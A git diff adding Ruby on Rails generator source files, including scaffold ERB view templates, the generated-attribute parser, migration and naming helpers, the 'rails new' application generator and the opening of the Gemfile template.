+
+<table>
+  <thead>
+    <tr>
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+      <th><%= attribute.human_name %></th>
+<% end -%>
+      <th colspan="3"></th>
+    </tr>
+  </thead>
+
+  <tbody>
+    <%% @<%= plural_table_name %>.each do |<%= singular_table_name %>| %>
+      <tr>
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+        <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
+<% end -%>
+        <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
+        <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
+        <td><%%= link_to 'Destroy', <%= singular_table_name %>, method: :delete, data: { confirm: 'Are you sure?' } %></td>
+      </tr>
+    <%% end %>
+  </tbody>
+</table>
+
+<br>
+
+<%%= link_to 'New <%= singular_table_name.titleize %>', new_<%= singular_table_name %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
new file mode 100644
index 0000000000..9b2b2f4875
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
@@ -0,0 +1,5 @@
+<h1>New <%= singular_table_name.titleize %></h1>
+
+<%%= render 'form', <%= singular_table_name %>: @<%= singular_table_name %> %>
+
+<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
new file mode 100644
index 0000000000..5e634153be
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
@@ -0,0 +1,11 @@
+<p id="notice"><%%= notice %></p>
+
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+<p>
+  <strong><%= attribute.human_name %>:</strong>
+  <%%= @<%= singular_table_name %>.<%= attribute.name %> %>
+</p>
+
+<% end -%>
+<%%= link_to 'Edit', edit_<%= singular_table_name %>_path(@<%= singular_table_name %>) %> |
+<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
new file mode 100644
index 0000000000..baed7bf1e3
--- /dev/null
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -0,0 +1,175 @@
+require "active_support/time"
+
+module Rails
+  module Generators
+    class GeneratedAttribute # :nodoc:
+      INDEX_OPTIONS = %w(index uniq)
+      UNIQ_INDEX_OPTIONS = %w(uniq)
+
+      attr_accessor :name, :type
+      attr_reader   :attr_options
+      attr_writer   :index_name
+
+      class << self
+        def parse(column_definition)
+          name, type, has_index = column_definition.split(":")
+
+          # if user provided "name:index" instead of "name:string:index"
+          # type should be set blank so GeneratedAttribute's constructor
+          # could set it to :string
+          has_index, type = type, nil if INDEX_OPTIONS.include?(type)
+
+          type, attr_options = *parse_type_and_options(type)
+          type = type.to_sym if type
+
+          if type && reference?(type)
+            if UNIQ_INDEX_OPTIONS.include?(has_index)
+              attr_options[:index] = { unique: true }
+            end
+          end
+
+          new(name, type, has_index, attr_options)
+        end
+
+        def reference?(type)
+          [:references, :belongs_to].include? type
+        end
+
+        private
+
+        # parse possible attribute options like :limit for string/text/binary/integer, :precision/:scale for decimals or :polymorphic for references/belongs_to
+        # when declaring options curly brackets should be used
+        def parse_type_and_options(type)
+          case type
+          when /(string|text|binary|integer)\{(\d+)\}/
+            return $1, limit: $2.to_i
+          when /decimal\{(\d+)[,.-](\d+)\}/
+            return :decimal, precision: $1.to_i, scale: $2.to_i
+          when /(references|belongs_to)\{(.+)\}/
+            type = $1
+            provided_options = $2.split(/[,.-]/)
+            options = Hash[provided_options.map { |opt| [opt.to_sym, true] }]
+            return type, options
+          else
+            return type, {}
+          end
+        end
+      end
+
+      def initialize(name, type = nil, index_type = false, attr_options = {})
+        @name           = name
+        @type           = type || :string
+        @has_index      = INDEX_OPTIONS.include?(index_type)
+        @has_uniq_index = UNIQ_INDEX_OPTIONS.include?(index_type)
+        @attr_options   = attr_options
+      end
+
+      def field_type
+        @field_type ||= case type
+                        when :integer              then :number_field
+                        when :float, :decimal      then :text_field
+                        when :time                 then :time_select
+                        when :datetime, :timestamp then :datetime_select
+                        when :date                 then :date_select
+                        when :text                 then :text_area
+                        when :boolean              then :check_box
+          else
+                          :text_field
+        end
+      end
+
+      def default
+        @default ||= case type
+                     when :integer                     then 1
+                     when :float                       then 1.5
+                     when :decimal                     then "9.99"
+                     when :datetime, :timestamp, :time then Time.now.to_s(:db)
+                     when :date                        then Date.today.to_s(:db)
+                     when :string                      then name == "type" ? "" : "MyString"
+                     when :text                        then "MyText"
+                     when :boolean                     then false
+                     when :references, :belongs_to     then nil
+          else
+                       ""
+        end
+      end
+
+      def plural_name
+        name.sub(/_id$/, "").pluralize
+      end
+
+      def singular_name
+        name.sub(/_id$/, "").singularize
+      end
+
+      def human_name
+        name.humanize
+      end
+
+      def index_name
+        @index_name ||= if polymorphic?
+          %w(id type).map { |t| "#{name}_#{t}" }
+        else
+          column_name
+        end
+      end
+
+      def column_name
+        @column_name ||= reference? ? "#{name}_id" : name
+      end
+
+      def foreign_key?
+        !!(name =~ /_id$/)
+      end
+
+      def reference?
+        self.class.reference?(type)
+      end
+
+      def polymorphic?
+        attr_options[:polymorphic]
+      end
+
+      def required?
+        attr_options[:required]
+      end
+
+      def has_index?
+        @has_index
+      end
+
+      def has_uniq_index?
+        @has_uniq_index
+      end
+
+      def password_digest?
+        name == "password" && type == :digest
+      end
+
+      def token?
+        type == :token
+      end
+
+      def inject_options
+        "".tap { |s| options_for_migration.each { |k, v| s << ", #{k}: #{v.inspect}" } }
+      end
+
+      def inject_index_options
+        has_uniq_index? ? ", unique: true" : ""
+      end
+
+      def options_for_migration
+        @attr_options.dup.tap do |options|
+          if required?
+            options.delete(:required)
+            options[:null] = false
+          end
+
+          if reference? && !polymorphic?
+            options[:foreign_key] = true
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/js/assets/assets_generator.rb b/railties/lib/rails/generators/js/assets/assets_generator.rb
new file mode 100644
index 0000000000..a4f84cc1ad
--- /dev/null
+++ b/railties/lib/rails/generators/js/assets/assets_generator.rb
@@ -0,0 +1,13 @@
+require_relative "../../named_base"
+
+module Js # :nodoc:
+  module Generators # :nodoc:
+    class AssetsGenerator < Rails::Generators::NamedBase # :nodoc:
+      source_root File.expand_path("templates", __dir__)
+
+      def copy_javascript
+        copy_file "javascript.js", File.join("app/assets/javascripts", class_path, "#{file_name}.js")
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/js/assets/templates/javascript.js b/railties/lib/rails/generators/js/assets/templates/javascript.js
new file mode 100644
index 0000000000..dee720facd
--- /dev/null
+++ b/railties/lib/rails/generators/js/assets/templates/javascript.js
@@ -0,0 +1,2 @@
+// Place all the behaviors and hooks related to the matching controller here.
+// All this logic will automatically be available in application.js.
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
new file mode 100644
index 0000000000..57c36f5668
--- /dev/null
+++ b/railties/lib/rails/generators/migration.rb
@@ -0,0 +1,69 @@
+require "active_support/concern"
+require_relative "actions/create_migration"
+
+module Rails
+  module Generators
+    # Holds common methods for migrations. It assumes that migrations have the
+    # [0-9]*_name format and can be used by other frameworks (like Sequel)
+    # just by implementing the next migration version method.
+    module Migration
+      extend ActiveSupport::Concern
+      attr_reader :migration_number, :migration_file_name, :migration_class_name
+
+      module ClassMethods #:nodoc:
+        def migration_lookup_at(dirname)
+          Dir.glob("#{dirname}/[0-9]*_*.rb")
+        end
+
+        def migration_exists?(dirname, file_name)
+          migration_lookup_at(dirname).grep(/\d+_#{file_name}.rb$/).first
+        end
+
+        def current_migration_number(dirname)
+          migration_lookup_at(dirname).collect do |file|
+            File.basename(file).split("_").first.to_i
+          end.max.to_i
+        end
+
+        def next_migration_number(dirname)
+          raise NotImplementedError
+        end
+      end
+
+      def create_migration(destination, data, config = {}, &block)
+        action Rails::Generators::Actions::CreateMigration.new(self, destination, block || data.to_s, config)
+      end
+
+      def set_migration_assigns!(destination)
+        destination = File.expand_path(destination, destination_root)
+
+        migration_dir = File.dirname(destination)
+        @migration_number     = self.class.next_migration_number(migration_dir)
+        @migration_file_name  = File.basename(destination, ".rb")
+        @migration_class_name = @migration_file_name.camelize
+      end
+
+      # Creates a migration template at the given destination. The difference
+      # to the default template method is that the migration version is appended
+      # to the destination file name.
+      #
+      # The migration version, migration file name, migration class name are
+      # available as instance variables in the template to be rendered.
+      #
+      #   migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
+      def migration_template(source, destination, config = {})
+        source = File.expand_path(find_in_source_paths(source.to_s))
+
+        set_migration_assigns!(destination)
+        context = instance_eval("binding")
+
+        dir, base = File.split(destination)
+        numbered_destination = File.join(dir, ["%migration_number%", base].join("_"))
+
+        create_migration numbered_destination, nil, config do
+          ERB.new(::File.binread(source), nil, "-", "@output_buffer").result(context)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/model_helpers.rb b/railties/lib/rails/generators/model_helpers.rb
new file mode 100644
index 0000000000..5bf480c5c0
--- /dev/null
+++ b/railties/lib/rails/generators/model_helpers.rb
@@ -0,0 +1,28 @@
+require_relative "active_model"
+
+module Rails
+  module Generators
+    module ModelHelpers # :nodoc:
+      PLURAL_MODEL_NAME_WARN_MESSAGE = "[WARNING] The model name '%s' was recognized as a plural, using the singular '%s' instead. " \
+                                       "Override with --force-plural or setup custom inflection rules for this noun before running the generator."
+      mattr_accessor :skip_warn
+
+      def self.included(base) #:nodoc:
+        base.class_option :force_plural, type: :boolean, default: false, desc: "Forces the use of the given model name"
+      end
+
+      def initialize(args, *_options)
+        super
+        if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
+          singular = name.singularize
+          unless ModelHelpers.skip_warn
+            say PLURAL_MODEL_NAME_WARN_MESSAGE % [name, singular]
+            ModelHelpers.skip_warn = true
+          end
+          name.replace singular
+          assign_names!(name)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
new file mode 100644
index 0000000000..dc1d6cab9d
--- /dev/null
+++ b/railties/lib/rails/generators/named_base.rb
@@ -0,0 +1,205 @@
+require "active_support/core_ext/module/introspection"
+require_relative "base"
+require_relative "generated_attribute"
+
+module Rails
+  module Generators
+    class NamedBase < Base
+      argument :name, type: :string
+
+      def initialize(args, *options) #:nodoc:
+        @inside_template = nil
+        # Unfreeze name in case it's given as a frozen string
+        args[0] = args[0].dup if args[0].is_a?(String) && args[0].frozen?
+        super
+        assign_names!(name)
+        parse_attributes! if respond_to?(:attributes)
+      end
+
+      # Overrides <tt>Thor::Actions#template</tt> so it can tell if
+      # a template is currently being created.
+      no_tasks do
+        def template(source, *args, &block)
+          inside_template do
+            super
+          end
+        end
+
+        def js_template(source, destination)
+          template(source + ".js", destination + ".js")
+        end
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+        attr_reader :file_name
+
+      private
+
+        # FIXME: We are avoiding to use alias because a bug on thor that make
+        # this method public and add it to the task list.
+        def singular_name # :doc:
+          file_name
+        end
+
+        def inside_template # :doc:
+          @inside_template = true
+          yield
+        ensure
+          @inside_template = false
+        end
+
+        def inside_template? # :doc:
+          @inside_template
+        end
+
+        def file_path # :doc:
+          @file_path ||= (class_path + [file_name]).join("/")
+        end
+
+        def class_path # :doc:
+          inside_template? || !namespaced? ? regular_class_path : namespaced_class_path
+        end
+
+        def regular_class_path # :doc:
+          @class_path
+        end
+
+        def namespaced_class_path # :doc:
+          @namespaced_class_path ||= namespace_dirs + @class_path
+        end
+
+        def class_name # :doc:
+          (class_path + [file_name]).map!(&:camelize).join("::")
+        end
+
+        def human_name # :doc:
+          @human_name ||= singular_name.humanize
+        end
+
+        def plural_name # :doc:
+          @plural_name ||= singular_name.pluralize
+        end
+
+        def i18n_scope # :doc:
+          @i18n_scope ||= file_path.tr("/", ".")
+        end
+
+        def table_name # :doc:
+          @table_name ||= begin
+            base = pluralize_table_names? ? plural_name : singular_name
+            (class_path + [base]).join("_")
+          end
+        end
+
+        def uncountable? # :doc:
+          singular_name == plural_name
+        end
+
+        def index_helper # :doc:
+          uncountable? ? "#{plural_table_name}_index" : plural_table_name
+        end
+
+        def show_helper # :doc:
+          "#{singular_table_name}_url(@#{singular_table_name})"
+        end
+
+        def edit_helper # :doc:
+          "edit_#{show_helper}"
+        end
+
+        def new_helper # :doc:
+          "new_#{singular_table_name}_url"
+        end
+
+        def field_id(attribute_name)
+          [singular_table_name, attribute_name].join("_")
+        end
+
+        def singular_table_name # :doc:
+          @singular_table_name ||= (pluralize_table_names? ? table_name.singularize : table_name)
+        end
+
+        def plural_table_name # :doc:
+          @plural_table_name ||= (pluralize_table_names? ? table_name : table_name.pluralize)
+        end
+
+        def plural_file_name # :doc:
+          @plural_file_name ||= file_name.pluralize
+        end
+
+        def fixture_file_name # :doc:
+          @fixture_file_name ||= (pluralize_table_names? ? plural_file_name : file_name)
+        end
+
+        def route_url # :doc:
+          @route_url ||= class_path.collect { |dname| "/" + dname }.join + "/" + plural_file_name
+        end
+
+        def url_helper_prefix # :doc:
+          @url_helper_prefix ||= (class_path + [file_name]).join("_")
+        end
+
+        # Tries to retrieve the application name or simply return application.
+        def application_name # :doc:
+          if defined?(Rails) && Rails.application
+            Rails.application.class.name.split("::").first.underscore
+          else
+            "application"
+          end
+        end
+
+        def assign_names!(name)
+          @class_path = name.include?("/") ? name.split("/") : name.split("::")
+          @class_path.map!(&:underscore)
+          @file_name = @class_path.pop
+        end
+
+        # Convert attributes array into GeneratedAttribute objects.
+        def parse_attributes!
+          self.attributes = (attributes || []).map do |attr|
+            Rails::Generators::GeneratedAttribute.parse(attr)
+          end
+        end
+
+        def attributes_names # :doc:
+          @attributes_names ||= attributes.each_with_object([]) do |a, names|
+            names << a.column_name
+            names << "password_confirmation" if a.password_digest?
+            names << "#{a.name}_type" if a.polymorphic?
+          end
+        end
+
+        def pluralize_table_names? # :doc:
+          !defined?(ActiveRecord::Base) || ActiveRecord::Base.pluralize_table_names
+        end
+
+        def mountable_engine? # :doc:
+          defined?(ENGINE_ROOT) && namespaced?
+        end
+
+        # Add a class collisions name to be checked on class initialization. You
+        # can supply a hash with a :prefix or :suffix to be tested.
+        #
+        # ==== Examples
+        #
+        #   check_class_collision suffix: "Decorator"
+        #
+        # If the generator is invoked with class name Admin, it will check for
+        # the presence of "AdminDecorator".
+        #
+        def self.check_class_collision(options = {}) # :doc:
+          define_method :check_class_collision do
+            name = if respond_to?(:controller_class_name) # for ScaffoldBase
+              controller_class_name
+            else
+              class_name
+            end
+
+            class_collisions "#{options[:prefix]}#{name}#{options[:suffix]}"
+          end
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE
new file mode 100644
index 0000000000..28df6ebf44
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/USAGE
@@ -0,0 +1,14 @@
+Description:
+    The 'rails new' command creates a new Rails application with a default
+    directory structure and configuration at the path you specify.
+
+    You can specify extra command-line arguments to be used every time
+    'rails new' runs in the .railsrc configuration file in your home directory.
+
+    Note that the arguments specified in the .railsrc file don't affect the
+    defaults values shown above in this help message.
+
+Example:
+    rails new ~/Code/Ruby/weblog
+
+    This generates a skeletal Rails installation in ~/Code/Ruby/weblog.
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
new file mode 100644
index 0000000000..507099ef57
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -0,0 +1,567 @@
+require_relative "../../app_base"
+
+module Rails
+  module ActionMethods # :nodoc:
+    attr_reader :options
+
+    def initialize(generator)
+      @generator = generator
+      @options   = generator.options
+    end
+
+    private
+      %w(template copy_file directory empty_directory inside
+         empty_directory_with_keep_file create_file chmod shebang).each do |method|
+        class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def #{method}(*args, &block)
+            @generator.send(:#{method}, *args, &block)
+          end
+        RUBY
+      end
+
+      # TODO: Remove once this is fully in place
+      def method_missing(meth, *args, &block)
+        @generator.send(meth, *args, &block)
+      end
+  end
+
+  # The application builder allows you to override elements of the application
+  # generator without being forced to reverse the operations of the default
+  # generator.
+  #
+  # This allows you to override entire operations, like the creation of the
+  # Gemfile, README, or JavaScript files, without needing to know exactly
+  # what those operations do so you can create another template action.
+  #
+  #  class CustomAppBuilder < Rails::AppBuilder
+  #    def test
+  #      @generator.gem "rspec-rails", group: [:development, :test]
+  #      run "bundle install"
+  #      generate "rspec:install"
+  #    end
+  #  end
+  class AppBuilder
+    def rakefile
+      template "Rakefile"
+    end
+
+    def readme
+      copy_file "README.md", "README.md"
+    end
+
+    def ruby_version
+      template "ruby-version", ".ruby-version"
+    end
+
+    def gemfile
+      template "Gemfile"
+    end
+
+    def configru
+      template "config.ru"
+    end
+
+    def gitignore
+      template "gitignore", ".gitignore"
+    end
+
+    def version_control
+      if !options[:skip_git] && !options[:pretend]
+        run "git init"
+      end
+    end
+
+    def package_json
+      template "package.json"
+    end
+
+    def app
+      directory "app"
+
+      keep_file "app/assets/images"
+      empty_directory_with_keep_file "app/assets/javascripts/channels" unless options[:skip_action_cable]
+
+      keep_file  "app/controllers/concerns"
+      keep_file  "app/models/concerns"
+    end
+
+    def bin
+      directory "bin" do |content|
+        "#{shebang}\n" + content
+      end
+      chmod "bin", 0755 & ~File.umask, verbose: false
+    end
+
+    def bin_when_updating
+      bin_yarn_exist = File.exist?("bin/yarn")
+
+      bin
+
+      if options[:api] && !bin_yarn_exist
+        remove_file "bin/yarn"
+      end
+    end
+
+    def config
+      empty_directory "config"
+
+      inside "config" do
+        template "routes.rb"
+        template "application.rb"
+        template "environment.rb"
+        template "secrets.yml"
+        template "cable.yml" unless options[:skip_action_cable]
+        template "puma.rb"   unless options[:skip_puma]
+        template "spring.rb" if spring_install?
+
+        directory "environments"
+        directory "initializers"
+        directory "locales"
+      end
+    end
+
+    def config_when_updating
+      cookie_serializer_config_exist = File.exist?("config/initializers/cookies_serializer.rb")
+      action_cable_config_exist = File.exist?("config/cable.yml")
+      rack_cors_config_exist = File.exist?("config/initializers/cors.rb")
+      assets_config_exist = File.exist?("config/initializers/assets.rb")
+
+      config
+
+      unless cookie_serializer_config_exist
+        gsub_file "config/initializers/cookies_serializer.rb", /json(?!,)/, "marshal"
+      end
+
+      if !options[:skip_action_cable] && !action_cable_config_exist
+        template "config/cable.yml"
+      end
+
+      unless rack_cors_config_exist
+        remove_file "config/initializers/cors.rb"
+      end
+
+      if options[:api]
+        unless cookie_serializer_config_exist
+          remove_file "config/initializers/cookies_serializer.rb"
+        end
+
+        unless assets_config_exist
+          remove_file "config/initializers/assets.rb"
+        end
+      end
+    end
+
+    def database_yml
+      template "config/databases/#{options[:database]}.yml", "config/database.yml"
+    end
+
+    def db
+      directory "db"
+    end
+
+    def lib
+      empty_directory "lib"
+      empty_directory_with_keep_file "lib/tasks"
+      empty_directory_with_keep_file "lib/assets"
+    end
+
+    def log
+      empty_directory_with_keep_file "log"
+    end
+
+    def public_directory
+      directory "public", "public", recursive: false
+    end
+
+    def test
+      empty_directory_with_keep_file "test/fixtures"
+      empty_directory_with_keep_file "test/fixtures/files"
+      empty_directory_with_keep_file "test/controllers"
+      empty_directory_with_keep_file "test/mailers"
+      empty_directory_with_keep_file "test/models"
+      empty_directory_with_keep_file "test/helpers"
+      empty_directory_with_keep_file "test/integration"
+
+      template "test/test_helper.rb"
+    end
+
+    def system_test
+      empty_directory_with_keep_file "test/system"
+
+      template "test/application_system_test_case.rb"
+    end
+
+    def tmp
+      empty_directory_with_keep_file "tmp"
+      empty_directory "tmp/cache"
+      empty_directory "tmp/cache/assets"
+    end
+
+    def vendor
+      empty_directory_with_keep_file "vendor"
+    end
+  end
+
+  module Generators
+    # We need to store the RAILS_DEV_PATH in a constant, otherwise the path
+    # can change in Ruby 1.8.7 when we FileUtils.cd.
+    RAILS_DEV_PATH = File.expand_path("../../../../../..", __dir__)
+    RESERVED_NAMES = %w[application destroy plugin runner test]
+
+    class AppGenerator < AppBase # :nodoc:
+      WEBPACKS = %w( react vue angular elm )
+
+      add_shared_options_for "application"
+
+      # Add bin/rails options
+      class_option :version, type: :boolean, aliases: "-v", group: :rails,
+                             desc: "Show Rails version number and quit"
+
+      class_option :api, type: :boolean,
+                         desc: "Preconfigure smaller stack for API only apps"
+
+      class_option :skip_bundle, type: :boolean, aliases: "-B", default: false,
+                                 desc: "Don't run bundle install"
+
+      class_option :webpack, type: :string, default: nil,
+                             desc: "Preconfigure for app-like JavaScript with Webpack (options: #{WEBPACKS.join('/')})"
+
+      def initialize(*args)
+        super
+
+        if !options[:skip_active_record] && !DATABASES.include?(options[:database])
+          raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}."
+        end
+
+        # Force sprockets and yarn to be skipped when generating API only apps.
+        # Can't modify options hash as it's frozen by default.
+        if options[:api]
+          self.options = options.merge(skip_sprockets: true, skip_javascript: true, skip_yarn: true).freeze
+        end
+      end
+
+      public_task :set_default_accessors!
+      public_task :create_root
+
+      def create_root_files
+        build(:readme)
+        build(:rakefile)
+        build(:ruby_version)
+        build(:configru)
+        build(:gitignore)   unless options[:skip_git]
+        build(:gemfile)     unless options[:skip_gemfile]
+        build(:version_control)
+        build(:package_json) unless options[:skip_yarn]
+      end
+
+      def create_app_files
+        build(:app)
+      end
+
+      def create_bin_files
+        build(:bin)
+      end
+
+      def update_bin_files
+        build(:bin_when_updating)
+      end
+      remove_task :update_bin_files
+
+      def create_config_files
+        build(:config)
+      end
+
+      def update_config_files
+        build(:config_when_updating)
+      end
+      remove_task :update_config_files
+
+      def display_upgrade_guide_info
+        say "\nAfter this, check Rails upgrade guide at http://guides.rubyonrails.org/upgrading_ruby_on_rails.html for more details about upgrading your app."
+      end
+      remove_task :display_upgrade_guide_info
+
+      def create_boot_file
+        template "config/boot.rb"
+      end
+
+      def create_active_record_files
+        return if options[:skip_active_record]
+        build(:database_yml)
+      end
+
+      def create_db_files
+        return if options[:skip_active_record]
+        build(:db)
+      end
+
+      def create_lib_files
+        build(:lib)
+      end
+
+      def create_log_files
+        build(:log)
+      end
+
+      def create_public_files
+        build(:public_directory)
+      end
+
+      def create_test_files
+        build(:test) unless options[:skip_test]
+      end
+
+      def create_system_test_files
+        build(:system_test) if depends_on_system_test?
+      end
+
+      def create_tmp_files
+        build(:tmp)
+      end
+
+      def create_vendor_files
+        build(:vendor)
+      end
+
+      def delete_app_assets_if_api_option
+        if options[:api]
+          remove_dir "app/assets"
+          remove_dir "lib/assets"
+          remove_dir "tmp/cache/assets"
+        end
+      end
+
+      def delete_app_helpers_if_api_option
+        if options[:api]
+          remove_dir "app/helpers"
+          remove_dir "test/helpers"
+        end
+      end
+
+      def delete_application_layout_file_if_api_option
+        if options[:api]
+          remove_file "app/views/layouts/application.html.erb"
+        end
+      end
+
+      def delete_public_files_if_api_option
+        if options[:api]
+          remove_file "public/404.html"
+          remove_file "public/422.html"
+          remove_file "public/500.html"
+          remove_file "public/apple-touch-icon-precomposed.png"
+          remove_file "public/apple-touch-icon.png"
+          remove_file "public/favicon.ico"
+        end
+      end
+
+      def delete_js_folder_skipping_javascript
+        if options[:skip_javascript]
+          remove_dir "app/assets/javascripts"
+        end
+      end
+
+      def delete_assets_initializer_skipping_sprockets
+        if options[:skip_sprockets]
+          remove_file "config/initializers/assets.rb"
+        end
+      end
+
+      def delete_application_record_skipping_active_record
+        if options[:skip_active_record]
+          remove_file "app/models/application_record.rb"
+        end
+      end
+
+      def delete_action_mailer_files_skipping_action_mailer
+        if options[:skip_action_mailer]
+          remove_file "app/views/layouts/mailer.html.erb"
+          remove_file "app/views/layouts/mailer.text.erb"
+          remove_dir "app/mailers"
+          remove_dir "test/mailers"
+        end
+      end
+
+      def delete_action_cable_files_skipping_action_cable
+        if options[:skip_action_cable]
+          remove_file "config/cable.yml"
+          remove_file "app/assets/javascripts/cable.js"
+          remove_dir "app/channels"
+        end
+      end
+
+      def delete_non_api_initializers_if_api_option
+        if options[:api]
+          remove_file "config/initializers/cookies_serializer.rb"
+        end
+      end
+
+      def delete_api_initializers
+        unless options[:api]
+          remove_file "config/initializers/cors.rb"
+        end
+      end
+
+      def delete_new_framework_defaults
+        unless options[:update]
+          remove_file "config/initializers/new_framework_defaults_5_2.rb"
+        end
+      end
+
+      def delete_bin_yarn_if_skip_yarn_option
+        remove_file "bin/yarn" if options[:skip_yarn]
+      end
+
+      def finish_template
+        build(:leftovers)
+      end
+
+      public_task :apply_rails_template, :run_bundle
+      public_task :run_webpack, :generate_spring_binstubs
+
+      def run_after_bundle_callbacks
+        @after_bundle_callbacks.each(&:call)
+      end
+
+      def self.banner
+        "rails new #{arguments.map(&:usage).join(' ')} [options]"
+      end
+
+    private
+
+      # Define file as an alias to create_file for backwards compatibility.
+      def file(*args, &block)
+        create_file(*args, &block)
+      end
+
+      def app_name
+        @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr('\\', "").tr(". ", "_")
+      end
+
+      def defined_app_name
+        defined_app_const_base.underscore
+      end
+
+      def defined_app_const_base
+        Rails.respond_to?(:application) && defined?(Rails::Application) &&
+          Rails.application.is_a?(Rails::Application) && Rails.application.class.name.sub(/::Application$/, "")
+      end
+
+      alias :defined_app_const_base? :defined_app_const_base
+
+      def app_const_base
+        @app_const_base ||= defined_app_const_base || app_name.gsub(/\W/, "_").squeeze("_").camelize
+      end
+      alias :camelized :app_const_base
+
+      def app_const
+        @app_const ||= "#{app_const_base}::Application"
+      end
+
+      def valid_const?
+        if app_const =~ /^\d/
+          raise Error, "Invalid application name #{app_name}. Please give a name which does not start with numbers."
+        elsif RESERVED_NAMES.include?(app_name)
+          raise Error, "Invalid application name #{app_name}. Please give a " \
+                       "name which does not match one of the reserved rails " \
+                       "words: #{RESERVED_NAMES.join(", ")}"
+        elsif Object.const_defined?(app_const_base)
+          raise Error, "Invalid application name #{app_name}, constant #{app_const_base} is already in use. Please choose another application name."
+        end
+      end
+
+      def app_secret
+        SecureRandom.hex(64)
+      end
+
+      def mysql_socket
+        @mysql_socket ||= [
+          "/tmp/mysql.sock",                        # default
+          "/var/run/mysqld/mysqld.sock",            # debian/gentoo
+          "/var/tmp/mysql.sock",                    # freebsd
+          "/var/lib/mysql/mysql.sock",              # fedora
+          "/opt/local/lib/mysql/mysql.sock",        # fedora
+          "/opt/local/var/run/mysqld/mysqld.sock",  # mac + darwinports + mysql
+          "/opt/local/var/run/mysql4/mysqld.sock",  # mac + darwinports + mysql4
+          "/opt/local/var/run/mysql5/mysqld.sock",  # mac + darwinports + mysql5
+          "/opt/lampp/var/mysql/mysql.sock"         # xampp for linux
+        ].find { |f| File.exist?(f) } unless Gem.win_platform?
+      end
+
+      def get_builder_class
+        defined?(::AppBuilder) ? ::AppBuilder : Rails::AppBuilder
+      end
+    end
+
+    # This class handles preparation of the arguments before the AppGenerator is
+    # called. The class provides version or help information if they were
+    # requested, and also constructs the railsrc file (used for extra configuration
+    # options).
+    #
+    # This class should be called before the AppGenerator is required and started
+    # since it configures and mutates ARGV correctly.
+    class ARGVScrubber # :nodoc:
+      def initialize(argv = ARGV)
+        @argv = argv
+      end
+
+      def prepare!
+        handle_version_request!(@argv.first)
+        handle_invalid_command!(@argv.first, @argv) do
+          handle_rails_rc!(@argv.drop(1))
+        end
+      end
+
+      def self.default_rc_file
+        File.expand_path("~/.railsrc")
+      end
+
+      private
+
+        def handle_version_request!(argument)
+          if ["--version", "-v"].include?(argument)
+            require_relative "../../../version"
+            puts "Rails #{Rails::VERSION::STRING}"
+            exit(0)
+          end
+        end
+
+        def handle_invalid_command!(argument, argv)
+          if argument == "new"
+            yield
+          else
+            ["--help"] + argv.drop(1)
+          end
+        end
+
+        def handle_rails_rc!(argv)
+          if argv.find { |arg| arg == "--no-rc" }
+            argv.reject { |arg| arg == "--no-rc" }
+          else
+            railsrc(argv) { |rc_argv, rc| insert_railsrc_into_argv!(rc_argv, rc) }
+          end
+        end
+
+        def railsrc(argv)
+          if (customrc = argv.index { |x| x.include?("--rc=") })
+            fname = File.expand_path(argv[customrc].gsub(/--rc=/, ""))
+            yield(argv.take(customrc) + argv.drop(customrc + 1), fname)
+          else
+            yield argv, self.class.default_rc_file
+          end
+        end
+
+        def read_rc_file(railsrc)
+          extra_args = File.readlines(railsrc).flat_map(&:split)
+          puts "Using #{extra_args.join(" ")} from #{railsrc}"
+          extra_args
+        end
+
+        def insert_railsrc_into_argv!(argv, railsrc)
+          return argv unless File.exist?(railsrc)
+          extra_args = read_rc_file railsrc
+          argv.take(1) + extra_args + argv.drop(1)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
new file mode 100644
index 0000000000..4b2842ef46
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -0,0 +1,65 @@
+source 'https://rubygems.org'
+git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+ruby <%= "'#{RUBY_VERSION}'" %>
+
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
+
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+, <%= gem.options.map { |k,v|
+  "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
